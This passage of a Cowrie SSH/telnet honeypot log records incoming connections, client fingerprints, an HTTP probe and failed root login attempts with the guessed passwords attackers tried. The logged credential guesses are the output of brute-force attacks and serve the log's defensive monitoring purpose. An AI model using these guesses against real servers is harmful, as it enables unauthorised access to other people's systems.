{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:58:57.411226Z","src_ip":"153.80.249.112","session":"2defb2b5f0f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.173.103.113","src_port":60810,"dst_ip":"10.17.0.5","dst_port":22,"session":"bddf4831a075","protocol":"ssh","message":"New connection: 45.173.103.113:60810 (10.17.0.5:22) [session: bddf4831a075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:59:23.937223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:59:23.943631Z","src_ip":"45.173.103.113","session":"bddf4831a075","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:59:24.047509Z","src_ip":"45.173.103.113","session":"bddf4831a075","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123321","message":"login attempt [root/aa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:59:24.494747Z","src_ip":"45.173.103.113","session":"bddf4831a075","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:59:25.601367Z","src_ip":"45.173.103.113","session":"bddf4831a075","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":33962,"dst_ip":"10.17.0.5","dst_port":22,"session":"56cfc7795b70","protocol":"ssh","message":"New connection: 109.237.96.109:33962 (10.17.0.5:22) [session: 56cfc7795b70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:59:59.291997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:59:59.301066Z","src_ip":"109.237.96.109","session":"56cfc7795b70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:59:59.390136Z","src_ip":"109.237.96.109","session":"56cfc7795b70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12123434","message":"login attempt [root/12123434] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:59:59.735367Z","src_ip":"109.237.96.109","session":"56cfc7795b70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":37202,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd8e9850ad89","protocol":"ssh","message":"New connection: 103.149.170.125:37202 (159.203.135.109:22) [session: fd8e9850ad89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:00:00.153103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:00:00.158829Z","src_ip":"103.149.170.125","session":"fd8e9850ad89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:00:00.428933Z","src_ip":"103.149.170.125","session":"fd8e9850ad89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:00:00.828724Z","src_ip":"109.237.96.109","session":"56cfc7795b70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"k123456789","message":"login attempt [root/k123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:00:01.204061Z","src_ip":"103.149.170.125","session":"fd8e9850ad89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:00:02.474010Z","src_ip":"103.149.170.125","session":"fd8e9850ad89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"153.80.249.112","src_port":43976,"dst_ip":"10.17.0.5","dst_port":22,"session":"f627c048db0f","protocol":"ssh","message":"New connection: 153.80.249.112:43976 (10.17.0.5:22) [session: f627c048db0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:00:14.725412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:00:14.733804Z","src_ip":"153.80.249.112","session":"f627c048db0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:00:14.822122Z","src_ip":"153.80.249.112","session":"f627c048db0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123...","message":"login attempt [root/root123...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:00:15.211712Z","src_ip":"153.80.249.112","session":"f627c048db0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:00:16.299882Z","src_ip":"153.80.249.112","session":"f627c048db0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":35026,"dst_ip":"10.17.0.5","dst_port":22,"session":"dce4941b9615","protocol":"ssh","message":"New connection: 185.236.22.41:35026 (10.17.0.5:22) [session: dce4941b9615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:00:25.664530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:00:25.669945Z","src_ip":"185.236.22.41","session":"dce4941b9615","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:00:25.802444Z","src_ip":"185.236.22.41","session":"dce4941b9615","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"artem2007","message":"login attempt [root/artem2007] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:00:26.176000Z","src_ip":"185.236.22.41","session":"dce4941b9615","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:00:27.296628Z","src_ip":"185.236.22.41","session":"dce4941b9615","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00478959083557,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:00:31.347989Z","src_ip":"37.216.252.19","session":"4248eb812e56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":50006,"dst_ip":"159.203.135.109","dst_port":23,"session":"c27ec914a72e","protocol":"telnet","message":"New connection: 79.139.59.21:50006 (159.203.135.109:23) [session: c27ec914a72e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:00:33.085687Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:00:35.279953Z","src_ip":"218.78.60.105","session":"759ecb4e11e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.197.17","src_port":22786,"dst_ip":"159.203.135.109","dst_port":23,"session":"f775b11d3741","protocol":"telnet","message":"New connection: 64.62.197.17:22786 (159.203.135.109:23) [session: f775b11d3741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:00:48.046673Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:00:48.052667Z","src_ip":"64.62.197.17","session":"f775b11d3741","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (X11; Linux x86_64) Gecko/20060609 Firefox/123.0esr","password":"Accept: */*","message":"login attempt [User-Agent: Mozilla/5.0 (X11; Linux x86_64) Gecko/20060609 Firefox/123.0esr/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:00:48.056815Z","src_ip":"64.62.197.17","session":"f775b11d3741","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Encoding: gzip","password":"","message":"login attempt [Accept-Encoding: gzip/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:00:48.060860Z","src_ip":"64.62.197.17","session":"f775b11d3741","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.08929562568664551,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:00:48.135618Z","src_ip":"64.62.197.17","session":"f775b11d3741","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.135.235.126","src_port":33350,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbce9c37f5cf","protocol":"ssh","message":"New connection: 115.135.235.126:33350 (10.17.0.5:22) [session: bbce9c37f5cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:01:05.214082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:01:05.219349Z","src_ip":"115.135.235.126","session":"bbce9c37f5cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:01:05.518480Z","src_ip":"115.135.235.126","session":"bbce9c37f5cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dodol123","message":"login attempt [root/dodol123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:01:06.671346Z","src_ip":"115.135.235.126","session":"bbce9c37f5cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.97.62.150","src_port":51272,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fedc17b6f2a","protocol":"ssh","message":"New connection: 23.97.62.150:51272 (159.203.135.109:22) [session: 9fedc17b6f2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:01:07.105829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:01:07.113683Z","src_ip":"23.97.62.150","session":"9fedc17b6f2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:01:07.349341Z","src_ip":"23.97.62.150","session":"9fedc17b6f2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:01:07.937113Z","src_ip":"115.135.235.126","session":"bbce9c37f5cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root12345","message":"login attempt [root/root12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:01:08.060462Z","src_ip":"23.97.62.150","session":"9fedc17b6f2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:01:09.300065Z","src_ip":"23.97.62.150","session":"9fedc17b6f2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":33276,"dst_ip":"10.17.0.5","dst_port":22,"session":"6079b5e58c45","protocol":"ssh","message":"New connection: 87.251.64.176:33276 (10.17.0.5:22) [session: 6079b5e58c45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:01:11.420794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:01:11.425294Z","src_ip":"87.251.64.176","session":"6079b5e58c45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecds